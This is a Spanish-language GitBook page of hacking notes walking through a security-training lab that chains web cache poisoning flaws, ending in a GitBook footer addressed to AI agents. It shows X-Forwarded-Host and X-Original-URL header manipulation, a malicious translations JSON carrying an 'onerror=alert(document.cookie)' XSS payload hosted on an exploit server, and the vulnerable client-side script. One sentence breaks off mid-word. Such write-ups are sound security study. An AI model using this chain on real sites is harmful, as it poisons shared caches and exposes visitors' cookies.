> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md).

# Combinación de vulnerabilidades de envenenamiento de caché web

### Combinando vulnerabilidades de envenenamiento de la caché web

Debemos **envenenar la caché de la página de inicio** con una versión que se ejecuta **`alert(document.cookie)`** en el navegador del visitante. La víctima pasa `/` about **cada minuto** y **el idioma de la víctima es inglés (`lang=en` cookie)**.

<figure><img src="/files/c1fe668c162fd8fa3d02f3bc7aa708c0619fc500" alt=""><figcaption></figcaption></figure>

### (1) Punto de entrada: funcionalidad de traducción del lado del cliente

En la página de inicio, observamos:

* Un `lang` cookie (por ejemplo, `lang=es`) + `session=...`
* Un script de traducción: **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

Este script lee `lang` de las cookies y luego hace una `fetch()` a un JSON:

```json
{
    "en": {
        "name": "Inglés"
    },
    "es": {
        "name": "Español",
        "translations": {
            "Return to list": "Volver a la lista",
            "View details": "Ver detalles",
            "Description:": "Descripción:"
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "Return to list": "返回清單",
            "View details": "查看詳情",
            "Description:": "描述:"
        }
    },
    "ar": {
        "name": "عربى",
        "translations": {
            "Return to list": "العودة إلى القائمة",
            "View details": "عرض التفاصيل",
            "Description:": "وصف:"
        }
    },
    "en-gb": {
        "name": "Inglés correcto",
        "translations": {
            "Return to list": "De donde viniste",
            "View details": "Hazme el honor de desarrollarlo",
            "Description:": "Disquisiciones sobre el tema:"
        }
    },
    "ml": {
        "name": "മലയാളം",
        "translations": {
            "Return to list": "ലിസ്റ്റിലേക്ക് മടങ്ങുക",
            "View details": "വിശദാംശങ്ങൾ കാണുക",
            "Description:": "വിവരണം:"
        }
    },
    "hb": {
        "name": "עברית",
        "translations": {
            "Return to list": "חזור לרשימה",
            "View details": "הצג פרטים",
            "Description:": "תיאור:"
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "Return to list": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "View details": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "Description:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "Suomalainen",
        "translations": {
            "Return to list": "Palaa luetteloon",
            "View details": "Ver detalles",
            "Description:": "Kuvaus:"
        }
    },
    "hw": {
        "name": "Ōlelo Hawaiʻi",
        "translations": {
            "Return to list": "Hoʻi i ka papa inoa",
            "View details": "E nānā i nā kikoʻī",
            "Description:": "ʻO keʻano:"
        }
    },
    "mm": {
        "name": "ဗမာ",
        "translations": {
            "Return to list": "စာရင်းသို့ပြန်သွားသည်",
            "View details": "အသေးစိတ်ကြည့်ရန်",
            "Description:": "ဖော်ပြချက်:"
        }
    }
}
```

Y `data.host` proviene de un bloque en línea en la página de inicio:

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

Luego el script aplica las traducciones reemplazando el texto mediante `innerHTML`, lo cual es importante porque puede convertir una traducción en \*\* inyección HTML\*\* si controlas el JSON.

### Vulnerabilidad #1: Manipulación del host mediante `X-Forwarded-Host`

Añadiendo el siguiente encabezado HTTP

```http
X-Forwarded-Host: test.com
```

encontramos que el valor se refleja en `data.host`.

<figure><img src="/files/15386d9294b744acf5f8cb44f6e7636b53a2f352" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="/files/36b9d10cf89b9e9f93d9562c6a91d1205dcad646" alt=""><figcaption></figcaption></figure>

Así podemos forzar al navegador a cargar el archivo:

```bash
/resources/json/translations.json
```

### 3. Vulnerabilidad #2: XSS mediante archivo JSON de traducción

Alojamos en el servidor de explotación un falso `translations.json` que contiene una inyección XSS en una traducción, por ejemplo:

```json
{
    "en": {
        "name": "Inglés"
    },
    "es": {
        "name": "Español",
        "translations": {
            "Return to list": "Hola",
            "View details": "></a><img src=0 onerror=alert(document.cookie)>",
            "Description:": "Descripción:"
        }
    }
}
```

<figure><img src="/files/176bfb1d197d0ca83a048b1a2ac503c7c1ada330" alt=""><figcaption></figcaption></figure>

Luego usamos:

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

La página de inicio, servida desde la caché, ahora apuntará a nuestro archivo JSON malicioso.

Por tanto, el contenido de la traducción se interpreta como HTML, lo que permite la ejecución del JavaScript inyectado.

<figure><img src="/files/f772964b1dc2168151925edc7f27196152f6f0b5" alt=""><figcaption></figcaption></figure>

### 4. Limitación: la víctima usa inglés

El script de traducción solo se ejecuta si:

* `lang !== 'en'`

La víctima inicialmente `lang=en`. / Incluso si controlamos el archivo JSON, \*\*l

Debemos por lo tanto **fortalecer el paso al español**.

### 5. Vulnerabilidad #3: Forzar cambio de idioma mediante `X-Original-URL`

<figure><img src="/files/acdcbd5e5c0346083e8502e042b739d305245966" alt=""><figcaption></figcaption></figure>

Usando Param Miner, identificamos el encabezado vulnerable:

```http
X-Original-Url: /test
```

Enviamos otra solicitud a `/` con:

* `X-Original-URL: /test` → `404 No encontrado`

<figure><img src="/files/b50a20b662de15666556b756fbbe2b28f8cc5edc" alt=""><figcaption></figcaption></figure>

La caché sirve una respuesta que define `lang=es` para los visitantes.

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

Esta ruta:

* Establece la `lang=es` cookie
* Luego vuelve a la página de inicio

<figure><img src="/files/bb3cc3b7613e6a8784f7d8e0417001fbc024f813" alt=""><figcaption></figcaption></figure>

#### Ejecución de la carga útil en la víctima

1. La víctima visita `/`
2. `lang` la cookie va a `es`
3. La página recarga el `translations.json` archivo desde nuestro servidor de explotación
4. La traducción maliciosa se inyecta en el DOM
5. El navegador ejecuta:

<figure><img src="/files/e2598a727ae34cef45ca03a90498e3cc7478c462" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
